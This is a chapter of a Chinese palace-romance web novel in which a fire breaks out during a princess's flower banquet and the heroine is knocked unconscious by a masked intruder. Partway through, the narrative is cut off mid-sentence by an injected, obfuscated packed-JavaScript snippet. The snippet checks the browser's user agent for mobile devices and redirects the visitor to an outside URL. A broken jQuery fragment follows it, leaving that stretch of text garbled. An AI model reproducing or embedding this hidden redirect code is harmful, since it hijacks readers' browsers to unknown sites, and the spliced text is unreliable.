9. 走水
作品:《大将军对我念念不忘》 今日这赏花宴,每道流程都是精心安排的,却出了苏怀黎这个意外。
但对李相宜而言,算得上是惊喜。
循规蹈矩的世家子女她见多了,无非都是一些恭维她讨好她之人,很难再让她提起兴趣,眼前一亮。
她愿意受理这赏花宴,一则是顺了父皇母后的意,只因她是大乾的长公主,母后有意栽培她,势必少不了在众人面前露露脸,二则,前些日子,她见宾客名单中写着苏氏府邸,留心一瞧,帖子上面有苏怀景三个字,心中便起了一丝涟漪。
两人说不上交情至深,只不过因为苏太傅是她老师的缘故,她与苏怀景也当过一段时间的同窗。
幼年的李相宜,集万千宠爱于一身,宫中没有皇子,她就是一众公主中最为特殊的,母后特意向父皇求旨,安排她跟着苏太傅学习。
她不需要学习女子的三从四德,接触的都是治国理家的大道理。
苏怀景则在年少时就跟着苏太傅进宫。
彼时两人都年幼,也无男女大防,苏怀景跟在祖父身边,也成为了公主伴读。
年幼的李相宜只学过一些诗词歌赋,对书上那些晦涩难懂的词一知半解,但同龄的苏怀景却称得上博闻强记,是苏太傅一众学生中最为出色的,他人望尘莫及。
当时的她,还不懂崇拜二字是何意味,只觉得苏怀景此人当真厉害。
只是有一日,她再进学堂,却发现少了苏怀景的身影。
连着三五日也未见到此人,她终于按耐不住问起了苏太傅。
苏太傅摸了摸脸上的白胡子,笑呵呵地说,孙儿顽劣,已南下游历去了。
李相宜顿时怔忡住了,她想到了无数个原因,却没到是真相竟是这样。
她以为苏怀景只是一时起了玩心,总有一天会回到宫里。
但在漫长的等待中,她终究没等到那位少年的身影。
与此同时,她也察觉到了一个残忍的真相,她虽然是大乾朝尊贵的公主,可谓要风得风,要雨得雨,但她却也永久失去了一样东西,那便是自由。
她在学堂之上,望着外面高高的宫墙,心中生出怅然,自己当真一辈子都走不出这宫闱?
直至苏太傅逝世,自己也离开了学堂,她殿中的书籍慢慢落了灰,逐渐换成了各类女红。
她也被磨灭了心性。
有日,她无意间听到父皇提到苏家之事,派太监去打听,才知道苏怀景竟然又回到了朝堂之上,心中涌起不可遏制的欣喜,但这种情绪很快就落了下去。
两人已然不是可以畅所欲言的同窗,而是公主与臣子。
当年两人在学堂之上,一起讨论修身齐家治国平天下。
如今呢?怕是只能讨论苏大人是否婚娶这类家长里短之事。
见苏怀景恭敬地朝她行礼,唤一声长公主殿下,她无半分愉悦,只觉得心里空了一块,好像什么东西渐渐消失了。
她也不知为何,见苏怀景护着苏怀黎,就生了几分偏要较劲之心。
明明是两人同台表演,她在一旁抚琴弹奏,但苏怀景的眼里,只有苏怀黎。
李相宜闭上双眼,用力抚平心中的波动。
琴音骤停,她心中尚存的一丝期待,也幻灭了。
*
底下顿时喧闹一片。
苏怀黎无心邀宠,一曲结束后,向长公主行了礼,便回到了席间,李相宜也是毫不吝啬,细手一挥,便将一箱罕见的珠钗宝物赏给了苏怀黎。
宴会照常进行,只是相较于苏怀黎呈现的那首《山河赋》,后面表演的节目倒显得索然无味。
苏怀黎刻意屏蔽四下,自顾自继续吃茶点,佯装欣赏节目。
秦曼曼坐在苏怀黎身旁,感受到庭中投来的众多目光,多是场上的青年才俊,但没有一个是注视着她的,心中不免愤恨。
经此一遭,自己这几日的苦心准备都白费了。
终于熬到最后一曲歌舞表演,苏怀黎这才拾起精神,但这还不算结束,宴会之后众宾客必然不会立刻离席,而是会相互寒暄奉承,届时她的麻烦才真正开始。
于是,她轻轻扯了一下苏怀景的衣袖,目光中带着些许请求的意味。
苏怀景一眼就明白了苏怀黎的意思。
她想早退,而且还想让他留下来替她挡掉这些麻烦。
苏怀景不禁失笑,自己忍着没对苏怀黎发问,她倒是反客为主了,只是现下为她挡下那些不怀好意之人的骚扰才是重点,等结束回府之后,他定要细细询问一番。
是以,苏怀景心中叹了口气,对面前这位看似无措的少女微微颔首。
苏怀黎得了苏怀景的点头同意,心下一喜,寻个恰当时机,趁着众人未注意之时,暗自从庭中一角溜了出去。
剩下的,就交给苏怀景解决吧。
甫一出来,闻着外头新鲜的空气和弥漫着的淡淡花香,心情顿时舒畅了许多。
观这时辰,最后一个节目应该已经结束了,但未见有人从流芳庭中走出来。
她微微叹了口气,早知今日会遇到这么多麻烦,就不来赴宴了。
诺大的宫殿,现下只有引路的宫人守着,今日宫门开放,专门留出一条道给众官员宾客的马车出入,出了这个门,便可以坐上苏家的马车,芙蓉和云归正在外头等着他们。
苏怀黎难得悠闲地走在道上,安静地欣赏景色,不由得放慢了脚步。
突然,她的余光瞥见了一道雪白的身影,窜梭在花丛之中,还不时地传来几声“喵喵”的叫唤。
一时起了玩心,便跟着那道身影往前走了一段路。
没一会,不见那只白猫的身影,苏怀黎这才反应过来,抬起头四处望望,竟不知自己走到何处了。
她暗道不好,赶忙按原路返回,此时隔墙突然传来一声尖锐的喊叫:“不好了!刑部走水了!”
苏怀黎心底一慌,不由地加快脚步,谁曾想到行至拐角处,猛然见到红墙高处翻过一名男子。
青天白日里,在宫内突然出现一位面戴面具不明身份的男子,她瞬间联想到刚刚的叫喊声,此人莫非是那纵火犯?
苏怀黎心脏止不住地狂跳,转身就要逃走,那男子立刻察觉到她的存在。
下一瞬她就被剑鞘抵住喉咙。
“......我什么都没看到。”她不由地颤抖,但为了自己这条小命,还是强行镇静下来。
喉间的剑鞘明显地一顿,苏怀黎以为自己还有一线生机。
却听身后出传来一声低沉微哑的声音:“抱歉。”
而后,腰间一软,她便毫无意识了。
昏迷前一瞬,她脑海竟然还不禁想道,这个纵火犯还挺有礼貌的。
*
流芳庭内,一个太监神色匆忙地急急来报,打断了众人的交谈:“公主殿下,不好了,外头走水了。”
“什么?”李相宜面色严峻,快步走到他面前,“何处走水了?父皇母后可知道?”
太监喘着粗气,急咽了一口唾沫,回道:“是,是刑部走水了,已差人速去鎏金殿。”
苏怀景一听到外面走水了,心底猛然一沉,还未弄清事态,便赶忙飞奔出流芳庭。
他压下心中的慌乱,心想,苏怀黎出去许久,应该已经上马车了。
他急切地跑到宫殿外,只见芙蓉和云归站在马车旁等候,焦急地问道:“阿黎呢?!”
芙蓉一脸茫然:“小姐不是与您一起在宫内吗?奴婢一直守在此处,未见小姐出来。”
苏怀景顿时慌了,喘着气解释道:“阿黎不见了,我们立刻分三头找她,宫内走水,我担心她有危险。”
芙蓉和云归脸色大惊,赶忙分头找人。
宫内森严,竟出了起火这等事,也不知是意外,还是有人趁着这次赏花宴刻意为之。
若是阿黎碰到纵火的贼人,多半是凶多吉少。
想到此处,苏怀景心生悔恨,自己应当时刻看护在她身边的。
芙蓉与云归两人一个往西处,一个往东边。
此刻因起火一事,宫门已经被封锁,众多宾客退出大殿,齐聚在殿外。
芙蓉焦急地在茫茫人群中搜寻苏怀黎的身影,慌乱之中突然瞥见不远处的一座八角亭,隐约一人倒在那处。
苏怀黎今日的衣裳是她亲自选的,断然不会出错,于是她急喊了一声:“少爷!小姐找到了!”
听到芙蓉的呼唤,苏怀景一刻不停地赶往西边的八角亭。
苏怀黎毫无意识地躺在亭中,显然是昏过去了。
见这一幕,苏怀景差点心脏骤停,立刻将人扶到怀中,试了试鼻息还在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105962|163872||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,拧着眉沉声吩咐:“快去叫太医。”
芙蓉又急忙往外跑,慌乱之中差点撞到来人。
李相宜同众人一并在外等候消息,无意间见到苏怀景往八角亭跑,心下疑惑便跟了过来。
一个丫鬟焦急地跑出亭,好似在找人,她将人拦了下来:“何事如此慌张?”
芙蓉不认识公主,但这位女子身着华服,必然身份显赫,顾不了过多礼数,急切道:“我......我家小姐晕倒了,要请太医。”
顺着丫鬟的视线,李相宜见苏怀景将一女子打横抱起,面色低沉得吓人。
怀中那女子,果真是苏怀黎,她似乎是受到惊吓,晕过去了。
李相宜蹙起眉头,朝苏怀景走去,温声道:“苏大人,走水一事尚未查清,现下宫门已经封锁,你暂且将苏小姐安置在我的寝宫吧,我差人去传太医。”
*
鎏金殿内。
一个太监伏跪在地上,声音满是惧意:“回禀陛下,刑部的火已经被扑灭了,只......只是。”
李玄坐在大殿之上,眉头紧锁,怒意正盛:“继续说。”
那太监不禁身冒冷汗,硬着头皮道:“火灭了之后,侍卫进去检查,发现档案库中,指认信王当年通敌一事的所有罪证,全都被烧干净了。”
“一群废物,都是吃干饭的!”圣文帝一掌拍在龙书案上,众人皆是心惊胆战,“贼人在朕的眼皮子地下纵火,你让朕的脸面往哪放!”
“今日看守档案库的人员,全部关押候审,就是掘地三尺,也要把纵火犯找出来。”
“是!”太监领着旨意,便赶忙退了出去。
刑部尚书刘忠良在一旁暗道不好,如今火都到烧到家门口了,这次纵火案,刑部势必要折损大批人马。
“陛下,是臣管教下属不力,才让贼人钻了空子,”他颤颤巍巍地走到殿中,“只是臣觉得此次纵火一事,并非表面上看那么简单。”
李玄面色深沉,威严道:“刘大人有何见解?”
“信王的卷宗历来是不与其他案宗放在一起,臣当时特地将其卷宗安放在单独的库房里,”刘忠良逐步分析,“臣认为,此次贼人的目标应是当年信王通敌案,纵火之人,十有八九是当年残留的党羽。”
李玄听此话,眉宇间乌云密布。
刘忠良拱手道:“陛下,臣请旨彻查今日纵火一案。”
李玄沉声道:“准了。”
殿外,为首的太监对着外头乌泱乌泱的人喝道:“陛下有旨,今日参加宴会的每位宾客,必须逐个搜身检查,查清身份后方可出宫。”
底下又是一片骚乱,眼见着天色将暗,这怕是要彻夜搜查了。
*
长宁殿内,苏怀梨躺在云纱帐下,太医在一旁为她诊脉。
苏怀景焦急道:“张太医,舍妹的身体情况如何了?已经过去半个时辰了,她还是昏迷不醒。”
听闻苏怀黎意外昏迷,许氏也急急地从鎏金殿赶了过来。
现下,除了苏鹤在大殿中等候皇帝旨意,苏府一众人等都聚在了长宁殿内。
张太医起身交代道:“苏小姐体质较弱,但无外伤也无中毒的迹象,应是受惊昏迷。”
苏怀景心下微微松了一口气,但依旧倍感自责。
许氏在一旁焦灼不安,为了让母亲放心,苏怀景还是特意安慰道:“大夫说阿黎无大碍,母亲切莫过于担忧,你随她们去会大厅等候吧,我同公主说几句话。”
屏退了众人后,苏怀景恭敬地朝李相宜拱手:“舍妹今日得公主搭救,臣替舍妹谢过公主大恩。”
李相宜摆了摆手,只道:“你我之间,不必多礼。”
言外之意,是希望苏怀景不必把她当作高高在上的公主对待。
现下,李相宜心中有诸多疑惑,终于可以问出口了:“苏大人,苏小姐果真是你的亲妹妹?”
或许不用问她就已经知道答案了。
两兄妹年岁相差无多,李相宜认识苏怀景之时,只知道苏夫人膝下有一个儿子,若真有一个妹妹,他早应该同她提起了。
李相宜最在意的是,有几次,她捕捉到苏怀景看苏怀黎的眼神。
那眼神实在算不上清明。
甚至可以说,已经超越了兄长对妹妹应有的感情。